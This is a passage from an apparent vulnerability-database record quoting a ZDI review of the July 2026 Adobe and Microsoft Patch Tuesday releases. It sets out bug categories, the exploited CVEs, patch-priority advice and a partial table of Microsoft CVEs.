attacker just gets \u201cthe rights of the user running the affected application.\u201d That covers Win32k, Clip Service, Search Service, MSMQ, and SharePoint. A few get a Low-to-Medium integrity bump. There are also a couple that lead to downgraded service accounts or arbitrary file deletion, but nothing else I\u2019ve seen really stands out too much.\nThere are 20 Security Feature Bypass (SFB) bugs this month, and it's a genuinely mixed bag. CVE-2026-55040 leads at Critical, CVSS 9.1 as it\u2019s weak authentication in SharePoint Server. Patch it in the same pass as the SharePoint RCE pair since it's the same product. The AI-coding-tool trend continues: GitHub Copilot and Visual Studio Code and Visual Studio all land SFB bugs, mostly injection or path-traversal flavored. BitLocker is this month's lone publicly disclosed bug. It\u2019s not exploited yet, but public disclosure is a countdown clock, not a free pass. It requires physical access, as does the bug in Microsoft XML. The firmware/boot cluster is worth a second look: Secure Boot, Boot Loader, and Key Guard all touch the trust chain below the OS. Meaning, despite a low CVSS score, \u201cif this fails, nothing above it can be trusted\u201d stakes. Rounding out the SFB patches, there are two .NET SFBs, two Windows Kernel SFBs, and a DNS/Cryptographic Services bringing up the rear.\nThe July release includes 31Spoofing bugs this month, and we\u2019ve already covered the most important (Exchange). SharePoint Server accounts for another ten with almost all the same root cause: stored XSS letting an authenticated attacker spoof content in the browser. Microsoft Edge (Chromium-based) contributes fifteen more spanning access-control failures, SSRF, type confusion, and UI misrepresentation. All genuinely Microsoft's to patch, not re-listed Chromium noise. The remaining six round out the usual suspects: a Windows NAT spoofing bug reachable from an adjacent network, a Bing app flaw on iOS, a PowerBI Report Server XSS issue, a .NET output-encoding bug, and an AD FS spoofing flaw. None publicly disclosed, none exploited, but with SharePoint's history this year, don't let \"just Spoofing\" lull you into deprioritizing the patch cycle.\nOf 111 Information Disclosure bugs, the overwhelming majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. GitHub Copilot is the standout. Here, the bug insufficiently protected credentials, meaning actual secrets leak, not memory scraps. The Windows Admin Center flaw discloses data via improper authentication. A management console leaking to an unauthorized party is a bigger deal than it sounds. SharePoint uses SSRF to pull data server-side, and the Event Logging Service is a protection-mechanism failure, not a memory bug at all. Edge picks up three genuinely file-system-flavored disclosures \u2014 improper authorization, files/directories accessible to external parties, and link-following \u2014 plus Edge for Android exposing \u201cprivate personal information\u201d twice and two path-traversal bugs. The remaining 40+ are mostly one-line \u201cexposure of sensitive information to an unauthorized actor\u201d entries scattered across File Explorer, Push Notifications, Cryptographic Services, and Win32k.\nOnly 8 Tampering bugs this month, the smallest bucket, but a couple stand out. The top of the list is a WSUS bug, caused by an uncaught exception that lets an unauthenticated attacker tamper with the update service over the network. That\u2019s your patch-management infrastructure itself being the target, which always deserves extra attention. Windows CNG (the crypto API) picks up a missing-cryptographic-step flaw, and Windows DNS Client shows up three separate times across the list, twice for improper access control and once for missing authentication on a critical function. DNS resolution having this many tampering paths in one release is worth flagging as a pattern rather than three unrelated bugs. The one genuinely different entry is Outlook Copilot, described simply as vulnerable to \u201cmalicious uses\u201d enabling tampering over the network. That\u2019s a fantastically vague phrasing for an AI-assistant feature, continuing this year's running theme of Copilot-branded features showing up somewhere in every release. Finally, a .NET link-following bug and a WSL2 kernel race condition receive patches. Both require local/authorized access to trigger.\nStill with me? Good, because we have 35 DoS bugs to cover, and this is really an identity-infrastructure story more than a grab-bag. Active Directory Federation Services alone accounts for seven of them, all sitting at CVSS 7.5, all stack-based buffer overflows or infinite loops that let an unauthenticated attacker knock the service over the network.  The .NET ecosystem is the other big cluster: .NET, .NET Framework, and ASP.NET Core/OData contribute nine bugs combined, almost all \u201callocation of resources without limits or throttling\u201d.  HTTP.sys and HTTP/2 pick up the same flavor. LSASS shows up twice, which is always worth a second look given what that process actually holds. Rounding out the list are patches for Windows DHCP Server, SMB Server, Secure Channel, Hyper-V, and IKE Protocol each take a single hit, mostly requiring authorized or adjacent-network access rather than being wide open to the internet.\nNo new advisories are being released this month.\nLooking Ahead\nThe next Patch Tuesday will be on August 11, just after Hacker Summer Camp in sunny Las Vegas. Should I survive the heat, I\u2019ll be back then to give you my full thoughts on the release \u2013 no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!", "creation_timestamp": "2026-07-14T22:03:59.704579Z"}, {"uuid": "bb2c1bf8-1df2-4070-97c7-96cedd759068", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54115", "type": "seen", "source": "https://www.thezdi.com/blog/2026/7/14/the-july-2026-security-update-review", "content": "Well folks. Here we are. The bug apocalypse has fully descended upon us. I\u2019ll do my best to sort this out in some way meaningful, but this month\u2019s release shows us the nay-sayers were right, and I\u2019ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly scheduled activities as we let\u2019s take a look at the latest security patches from Adobe and Microsoft. If you\u2019d rather watch the full video recap covering the entire release, you can check out the Patch Report webcast on our YouTube channel. It should be posted within a couple of hours after the release.\nAdobe Patches for July 2026\nAdobe has now moved to a bimonthly release schedule, which means they will be releasing patches on the second and fourth Tuesdays of the month. I\u2019ll continue to cover the second Tuesday release here and update this blog should the fourth Tuesday release contain anything significant. I think this is a smart way to break up a monster release into something a bit more manageable. Apple has said they are taking a similar approach. We\u2019ll see if other vendors follow their lead.\nFor the first part of the July release, Adobe released 12 bulletins addressing 88 unique CVEs in Adobe ColdFusion, Commerce, After Effects, Animate, Audition, Bridge, Creative Cloud Desktop Application, Experience Manager, Illustrator, Media Encoder, Premiere Pro, and the Content Credentials SDK.\nHere\u2019s this month\u2019s overview table:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n  \n  \n  \n  \n  \n  \n  \n\n\n  \n    Bulletin ID\n    Product\n    CVE Count\n    Highest Severity\n    Highest CVSS\n    Exploited\n    Deployment Priority\n  \n\n\n  \n    APSB26-82\n    Adobe ColdFusion\n    13\n    Critical\n    9.9\n    No\n    1\n  \n  \n    APSB26-73\n    Adobe Commerce\n    13\n    Critical\n    9.6\n    No\n    2\n  \n  \n    APSB26-78\n    Adobe After Effects\n    3\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-83\n    Adobe Animate\n    6\n    Critical\n    8.6\n    No\n    3\n  \n  \n    APSB26-71\n    Adobe Audition\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-81\n    Adobe Bridge\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-77\n    Adobe Creative Cloud Desktop Application\n    2\n    Critical\n    8.1\n    No\n    3\n  \n  \n    APSB26-74\n    Adobe Experience Manager\n    13\n    Critical\n    9.6\n    No\n    3\n  \n  \n    APSB26-79\n    Adobe Illustrator\n    5\n    Critical\n    9.3\n    No\n    3\n  \n  \n    APSB26-72\n    Adobe Media Encoder\n    5\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-76\n    Adobe Premiere Pro\n    4\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-80\n    Content Credentials SDK\n    12\n    Critical\n    8.2\n    No\n    3\n  \n\n\n  \n    TOTAL\n    12 bulletins\n    88\n    \n    \n    \n    \n  \n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \nWhile nothing is under active exploit, I would prioritize the Cold Fusion and Commerce patches first. The patch for Cold Fusion even clocks in with a CVSS 9.9 bug. Beyond that, most of these updates are pretty straightforward. If you\u2019re using these products, patch them. However, you can use you regular patch cadence here. \nMicrosoft Patches for July 2026\nHere it is. The Mother of All Releases. To call this record-breaking is an understatement. How to count this mess is anyone\u2019s guess, but I see new Microsoft 621 CVEs for the month of July. Some of these are in online services where no user action is required. They also list about 480 bugs in Chromium and Microsoft Edge (Chromium-based) that I won\u2019t cover here. Here\u2019s how I put this in context. I looked at the last 20 years of Microsoft releases. The CVE count year-to-date exceeds all other years\u2019 totals.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n\n    \n  \n    \n\n      \n\n      \n        \n\n          \n        \n        \n\n        \n          \n            \n              \n              \n          \n            \n                \n                \n                \n                \n                \n                \n                \n                \n\n            \n          \n        \n            \n          \n        \n\n        \n      \n        \n      \n\n    \n  \n\n\n  \n\n\n\n\n\n  \nThe products covered this month are also astonishing. There are patches for Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Ages of Empire II, and Minecraft Server (really!). That phrase \u201cWindows components\u201d does some pretty heavy lifting here, too, as just about everything you\u2019ve ever heard of is getting patched. All told, there are 63 rated Critical, six rated Moderate, one rated Low, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program (more on that later). Two CVEs are listed as under active exploit while one other is listed as publicly known.\nSo how do we eat this elephant? One byte at a time (pun intended). Let\u2019s start by looking a closer look at some of the more interesting updates for this month, starting with the bugs being exploited in the wild.\n-    CVE-2026-56155 - Active Directory Federation Services Elevation of Privilege VulnerabilityThis is one of several AD FS being patched this month, but it\u2019s the only one being actively exploited. It stems from insufficient access-control granularity and does require local access and low privileges to start, but AD FS is exactly the kind of identity infrastructure attackers love to pivot through once they're in. It can also be paired with an RCE as we often see in ransomware. Test and deploy this patch quickly.\n-    CVE-2026-56164 - Microsoft SharePoint Server Elevation of Privilege VulnerabilityThe other bug being exploited in the wild this month is a modest CVSS 5.3 \u2013 but it shows why Moderate severity bugs still matter. It's a missing-authentication flaw, meaning an unauthenticated attacker can hit it over the network with no user interaction required. When something this reachable is being actively abused, patch it now and worry about the score later.\n-    CVE-2026-57092 - Microsoft Windows VMSwitch Elevation of Privilege VulnerabilityThis patch rates the highest CVSS score for the month: a solid 9.9. It\u2019s a use-after-free that lets a low-privileged attacker escalate to full host compromise across a VM boundary. We saw something like this demonstrated at Pwn2Own Berlin on ESXi, but it clearly isn\u2019t alone. If you\u2019re using VMSwitch in your Hyper-V deployments (and you likely are), test and deploy this one quickly.\n-    CVE-2026-50522/58644 - Microsoft SharePoint Remote Code Execution VulnerabilityThis matching pair of CVSS 9.8 bugs results from the deserialization-of-untrusted-data and are reachable without authentication or user interaction. CVE-2026-50522 was demonstrated during Pwn2Own Berlin, so it\u2019s odd to see Microsoft list it as \u201cExploit Maturity Unknown\u201d since we literally handed them a working exploit. Just another reason to do your own risk assessment and not rely 100% on the vendor. If you have any Internet accessible SharePoint servers, test and deploy this patch quickly. \n-    CVE-2026-56190 - Remote Desktop Protocol Remote Code Execution Vulnerability This patch covers an unauthenticated, network-reachable, no user interaction required bug. The root cause is a classic one: use of uninitialized resource (CWE-908), meaning specially crafted RDP traffic can interact with memory that was never properly initialized, letting an attacker corrupt memory and potentially steer code execution. RDP Servers are a common target, so audit your systems to see which are internet accessible and start from there. \n-    CVE-2026-55008 - Microsoft Exchange Server Spoofing VulnerabilityIgnore the title here and treat this like the XSS bug it is. The vulnerability is listed as a CVSS 9.6 since it\u2019s a stored cross-site scripting flaw in Outlook Web Access, with a scope-changed impact that lets it break out of the web app context entirely. An attacker sends a specially crafted email, and if the victim simply opens it in OWA, arbitrary JavaScript executes in their browser session \u2014 no attachment needed, no macro warning, just viewing the message does it. If you\u2019re using OWA, test and deploy this one quickly.\n-    CVE-2026-50518 - Windows DHCP Server Remote Code Execution VulnerabilityThere are a couple of these DHCP RCE patches in this release, but the other has caveats while this one does not. Both are heap-based buffer overflows scoring CVSS 9.8, both unauthenticated and network-reachable. If you're running DHCP Server role on anything Internet-adjacent (you're not, right?), these move to the top of the list.\n-    CVE-2026-56188 - Windows Server Network driver Remote Code Execution VulnerabilityAnother Critical-rated bug, this one is caused by a race condition. It\u2019s always fun to see a TOCTOU bug rated this high, since race conditions are notoriously finicky to exploit reliably. While it may prove tricky to exploit, this bug could allow an attacker to execute privileged code over the network without user interaction. Don\u2019t let the race condition lull you to sleep on a wormable bug.\n-    CVE-2026-55010 - Minecraft Bedrock Dedicated Server Remote Code Execution VulnerabilityFile this in the \u201cwhy not\u201d category. This bug is a heap-based buffer overflow in Minecraft Bedrock Dedicated Server, also CVSS 9.8 and also unauthenticated RCE. Yes, your kid\u2019s Minecraft server (it is your kid\u2019s server, right?) is exposed to the same class of bug as your DHCP infrastructure. Patch it anyway.\nHere\u2019s the full list of CVEs released by Microsoft for July 2026:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n \n \n \n  CVE\n  Title\n  Severity\n  CVSS\n  Public\n  Exploited\n  Type\n \n \n  CVE-2026-56155\n  Active Directory\n  Federation Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-56164\n  Microsoft SharePoint\n  Server Elevation of Privilege Vulnerability\n  Moderate\n  5.3\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-50661\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  6.1\n  Yes\n  No\n  SFB\n \n \n  CVE-2026-54121\n  Active Directory\n  Certificate Services Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-45499 **\n  Azure OpenAI Elevation\n  of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-48564\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50370\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56159\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50382\n  DirectX Graphics\n  Kernel Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-41106 **\n  Microsoft 365 Copilot\n  Elevation of Privilege Vulnerability\n  Critical\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-26145 **\n  Microsoft Azure\n  Synapse Elevation of Privilege Vulnerability\n  Critical\n  4.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-48561\n  Microsoft Copilot\n  Remote Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-55011\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55012\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55944\n  Microsoft Dynamics NAV\n  and Microsoft Dynamics 365 Business Central (On Premises) Remote Code\n  Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57100 **\n  Microsoft Entra\n  Provisioning Service Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55041\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54998 **\n  Microsoft Exchange\n  Online Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55008\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Critical\n  9.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-54992\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50314\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50467\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55018\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55022\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55045\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-55049\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55129\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55056\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55140\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55043\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55123\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55120\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50522\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58644\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55040\n  Microsoft SharePoint\n  Server Security Feature Bypass Vulnerability\n  Critical\n  9.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-54117\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54118\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50655\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56189\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57090\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57094\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57087\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57092\n  Microsoft Windows\n  VMSwitch Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55033\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55127\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55132\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55010\n  Minecraft Bedrock\n  Dedicated Server Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50474\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49164\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-54128\n  Windows DHCP Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50518\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49796\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50380\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-54127\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  7.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-50680\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50327\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58542\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58608\n  Windows Print Spooler\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54982\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54995\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-42982\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50392\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50694\n  Windows Secure Socket\n  Tunneling Protocol (SSTP) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-56188\n  Windows Server Network\n  driver Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50444\n  Windows Server Update\n  Service (WSUS) Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54999\n  Windows TCP/IP Remote\n  Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47302\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50525\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50651\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57108\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50524\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50527\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50648\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50650\n  .NET Framework\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50646\n  .NET Framework Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50649\n  .NET Remote Code\n  Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47304\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50528\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-50659\n  .NET Spoofing\n  Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-50526\n  .NET Tampering\n  Vulnerability\n  Important\n  7\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50682\n  Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.1\n  No\n  No\n  DoS\n \n \n  CVE-2026-55001\n  Active Directory\n  Domain Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50647\n  Active Directory\n  Federation Server Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50684\n  Active Directory\n  Federation Server Spoofing Vulnerability\n  Important\n  4.8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56170\n  ASP.NET Core Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-47300\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47303\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50652\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50653\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57969\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58279\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  6.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-47632\n  Azure Monitor Agent\n  Metrics Extension Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50338\n  Azure Spring Apps\n  Elevation of Privilege Vulnerability\n  Important\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50488\n  Clipboard User Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50491\n  Code Integrity DLL\n  (ci.dll) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50381\n  Composite Image File\n  System driver (cimfs.sys) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50427\n  Content Delivery\n  Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50692\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58633\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58634\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50296\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50375\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50353\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50493\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56643\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56644\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58629\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49174\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50495\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-57088\n  Extensible Storage\n  Engine (ESENT) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50663\n  Game: Age of Empires\n  II: Definitive Edition Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47282\n  GitHub Copilot and\n  Visual Studio Code Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41109\n  GitHub Copilot and\n  Visual Studio Code Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-50510\n  GitHub Copilot Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49787\n  HTTP.sys Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50420\n  HTTP.sys Information\n  Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49788\n  HTTP/2 Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50696\n  Internet Key Exchange\n  (IKE) Protocol Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58617\n  M365 Copilot for iOS\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n 